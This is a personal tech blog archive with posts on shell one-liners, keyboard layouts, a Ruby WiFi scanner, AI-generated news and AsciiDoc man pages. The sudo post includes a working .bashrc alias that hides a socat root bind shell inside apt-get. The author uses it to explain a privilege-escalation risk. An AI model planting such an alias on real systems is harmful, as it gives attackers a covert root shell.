2012-12-01

foo

There is a tradition of using metasyntactic variables in computer science.

The time has finally come; my alma mater is shutting down my student account to reclaim space, so I pulled all my files off today. As I was watching the scp output scroll by, I realized, "I have a LOT of files names 'foo'."

Then I started to wonder; just how many files do I have? My inexact counting came up with 10 before I realized there must be a way to ask the system itself.

So, enter foo.sh:

find . -iname foo.\* |
  sed -n  's/^.\+\/\([^\/]\+\)$/\1/p' |
  awk '{count[$1]++} END { for (j in count) print j": "count[j]; }'

Which conveniently answers the question for me:

foo.sh: 1
Foo.java: 1
foo.c: 6
foo.txt: 2
foo.h: 1
foo.s: 1
Foo.class: 1
foo.c,v: 1
foo.cpp: 11

21! 21 source files named foo. Ah ah ah ah

:wq

2012-10-20

Why I Hate sudo

I make no secret of my thoughts on the sudo program. I probably wouldn't go so far as to call it a steaming pile of rubbish, but there was nothing wrong with su, and there's everything wrong with how sudo is implemented. Also, we now have an attack surface that's significantly more than twice as large.

Take, for example, the following commands:

$ sudo -s
# apt-get install some_awesome_thing_i_heard_about_on_teh_intartubes

Aside from the dubious source of the program, it seems pretty legit. But, take into account the following line from the poor user's .bashrc file:

alias apt-get='(socat tcp-listen:9999,reuseaddr exec:/bin/sh,stderr,sighup,sigint,sigquit >/dev/null 2>&1 &); /usr/bin/apt-get'

So, thanks to sudo, you can own an entire system only by compromising a single user's account. Ah, such convenience.

(nb: if you don't know about socat, go rtfm. It is ALL the kinds of awesome.)

:wq

2012-02-26

Of Keyboard Maps and あおえう

I picked up a new keyboard today. After searching around for a while, I determined that there are no US layout keyboards in my price range in Japan. So, I picked up a manly pink keyboard, instead.

A pink keyboard. Manly pink.
The layout, not surprisingly, is a JP-106 key. Unfortunately, I didn't have a handy layout for Dvorak on a JP-106 (not to be confused with Japanese Dvorak), so I did a little searching and found exactly what I wanted on the intartubes: Dvorak JP-106 Layout. This is especially awesome because there are layouts for both X and the Linux console.

There's only one change that I would make, and that's to make the key to the right of "A" another Control, like God intended.

:wq

2011-10-01

The Hipster PDA

I've been rocking a variant of the hipster PDA for about a week now. I've been using a small spiral quad-ruled, microperf notebook and a mechanical pencil instead of their suggestion of index cards, binder clips, and a pen.

Since moving to Japan, this has been pretty much invaluable. I can copy down any information I want (in English or Japanese), including making more useful directions out of the routes that google maps gives me (example). Blocks are numbered instead of streets being named here, so Google's algorithm that works so well in Western countries utterly fails to give useful Japanese directions. Since I can't print out the map anyway, I'm left to analyze it and write directions into the notebook that make sense, like "Take the right between blocks 23 and 24." That's usually more useful on the ground anyway. If I overshoot and find myself along block 24, I know that I've gone too far.

Using the hipster PDA also means that I can do random reads and writes without draining the battery. If I were out in the middle of nowhere and didn't know where my next electricity was coming from, this would be an even better thing. But, my dictionary already takes batteries; having one fewer device to charge when I get home is nice. Sometimes, the simplest answer really is the best.

:wq

2011-09-23

essidtop

In the spirit of all the *top tools, I wrote a little one for WiFi today. It's based on one I did earlier for measuring throughput using ipfw pipe counters, to see how much bandwidth things like streaming video and minecraft really take (answers: surprisingly little, and unsurprisingly a lot).

What I really need to do is abstract this out into a more generalized topify type of class, so that I can just write the data retrieval and data formatting functions, and then get a top-like auto-updating display out of it. This may only work on xterm, because it uses a specific control code to do the screen clear. This is much easier than installing and configuring the terminal control gems for ruby.

Usage: ./essidtop.rb wlan0. This will require root privileges, and you should probably change the #! line if your ruby is installed into someplace other than /usr/bin. Probably requires ruby 1.9 (because of the case statement).

#!/usr/bin/ruby

def get_stats(card)
	vals = {}

	cell = nil
	current = {
		:mac     => '??:??:??:??:??:??',
		:essid   => 'Unknown',
		:channel => '-1',
		:snratio => 0,
		:key     => '???'
	}

	%x[/usr/sbin/iwlist #{card} scan].each_line do |ln|
		ln.chomp!
		ln.gsub!(/^\s+/, '')
		ln.gsub!(/\s+$/, '')

		case ln
			when /^Cell ([[:digit:]]+) - Address: ([A-Fa-f[:digit:]:]+)$/ then
				unless (cell.nil?) then
					vals[cell] = current
					current = {
						:mac     => '??:??:??:??:??:??',
						:essid   => 'Unknown',
						:channel => '-1',
						:snratio => 0,
						:key     => '???'
					}
				end

				cell = $1
				current[:mac] = $2

			when /^ESSID:"(.*)"$/ then
				current[:essid] = $1

			when /^Channel:([[:digit:]]+)$/ then
				current[:channel] = $1

			when /^Quality=([[:digit:]]+)\/([[:digit:]]+)\s/ then
				current[:snratio] = (100 * ($1.to_f / $2.to_f)).to_i

			when /^Encryption key:(on|off)/ then
				current[:key] = $1

			else
				#puts "Unmatched: '#{ln}'"
		end
	end

	unless (cell.nil?) then
		vals[cell] = current
	end

	vals
end

card = ARGV[0]

loop do
	stats = get_stats card

	if ($stdout.isatty) then
		printf "\e[H\e[2J"
	end

	# foreach key in stats
	printf "Cell %-17s Ch SN Enc ESSID\n" % 'Mac'
	stats.each do |k,v|
		# print out line
		printf "%-4s %-17s %02d %02d %3s %s\n" % [k, v[:mac], v[:channel].to_i,v[:snratio], v[:key], v[:essid]]
	end

	sleep 10
end
:wq

2011-09-12

AI-generated News Articles

This article in the New York Times yesterday points out that machines are now generating summaries of sports games and financial data. StatSheet (now Automated Insights) has also been doing this for years, apparently. Comments of the singularity approaching abound...

My question is: is this really all that newsworthy?

Yes, it's a leap forward in AI-generated content. It reads fairly well, without the repetition and madlibs style of other generated content. But is it really all that different from what we've already been doing? Algorithmically, of course it is. But, merge-sort isn't any more an AI performing a sort than wait-sort. Sure, it's a faster (and, arguably better) algorithm, but it's still just a divide-and-conquer sorting algorithm. See also encryption: same problem; different algorithms to solve it.

What these companies have really done is taken sports and financial reporting and distilled them into an algorithm that works well in most cases. They're taking games with well defined and understood sets of rules, and analyzing past data to summarize them. It's no more approaching an AI singularity than the madlibs are. This isn't to belittle their success, but I doubt we'd be as impressed if they had these algorithms "sportscasting" checkers. I'm sure it could be done ("In a stunning 18th play move, black managed an astonishing triple-jump to retake the lead"), but it would just be an academic paper, not an industry.

So, the question of success becomes whether or not this is useful. The main two features of auto-generated news are timely reporting and SEO. Timely reporting seems to be a red herring for the sports world; if you care, you'll watch the game or listen to it on the radio. Having a summary up in under a minute is a neat trick, but it's only a side-show to the main event. Which leaves the arms race of SEO. Sure, good SEO is important, but it's only a matter of time until Google and Microsoft revise their algorithms to make these contributions less important. All it would take is making sure that content is generated in a "reasonable" amount of time for a human writer. Then the algorithm will have to have wait time added to it, and you lose the speed argument in favor of auto-generated content. At that point, this becomes solely a cost-cutting measure, and that's generally a race to the bottom. So, eventually we'll have companies pop up with madlib algorithms that are dirt cheap, and it's easy to see watching the game as a better use of time for consumers.

Get me an AI that can write a compelling Science Fiction novel and I'll start paying attention.

:wq

2011-08-30

Documentation for Fun and Profit with AsciiDoc!

(editor's note: neither fun nor profit guaranteed)

For the last week, I've been writing documentation of various things in preparation for leaving my current job. We have one app in particular that had fairly sparse end-user documentation, and it's safe to say that I'm the only perlaphile in the office, so I started using vim to write a README file for it.

One thing let to another, and vim started syntax highlighting the file on me, so I pulled up a quick :se syntax to see what the heck was going on.

Lo and behold, I found out that vim uses AsciiDoc for its README (and .txt) syntax highlighting. This little gem makes writing documentation in plaintext pretty easy, and before I knew it, I was knee deep in constructing a man page for the scripts that I was documenting.

The basics of AsciiDoc's man syntax are simple and straightforward:

= A_PROGRAM(1) =

NAME
----
a_program - This program does something cool.

SYNOPSIS
--------
a_program [--frob]

USAGE
-----
--frob::
  twiddles the frobs (disable frob-twiddling with --no-frob)

BUGS
----
Does not actually twiddle frobs.

SEE ALSO
--------
a_program.conf(5)

...and so on. The top line is the document title, and has to include a section number to be valid for man. Then, every section (NAME and SYNOPSIS are required, and must be first) is underlined. The :: syntax is for a definition list, which works great for documenting argument lists. It's so easy and neat to be able to write man pages in something easier than perldoc that I actually was accused of enjoying writing documentation.

The real gem today came in the form of a Makefile, though:

all: a_program.1 a_program.html
%.1: %.txt
	asciidoc -b manpage -d docbook -o - %< | docbook2man -
%.html: %.txt
	asciidoc -b manpage -d html -o %@ %<

Now, with just make, I can generate both the man pages, and HTML documentation for people who are into that sort of thing.

:wq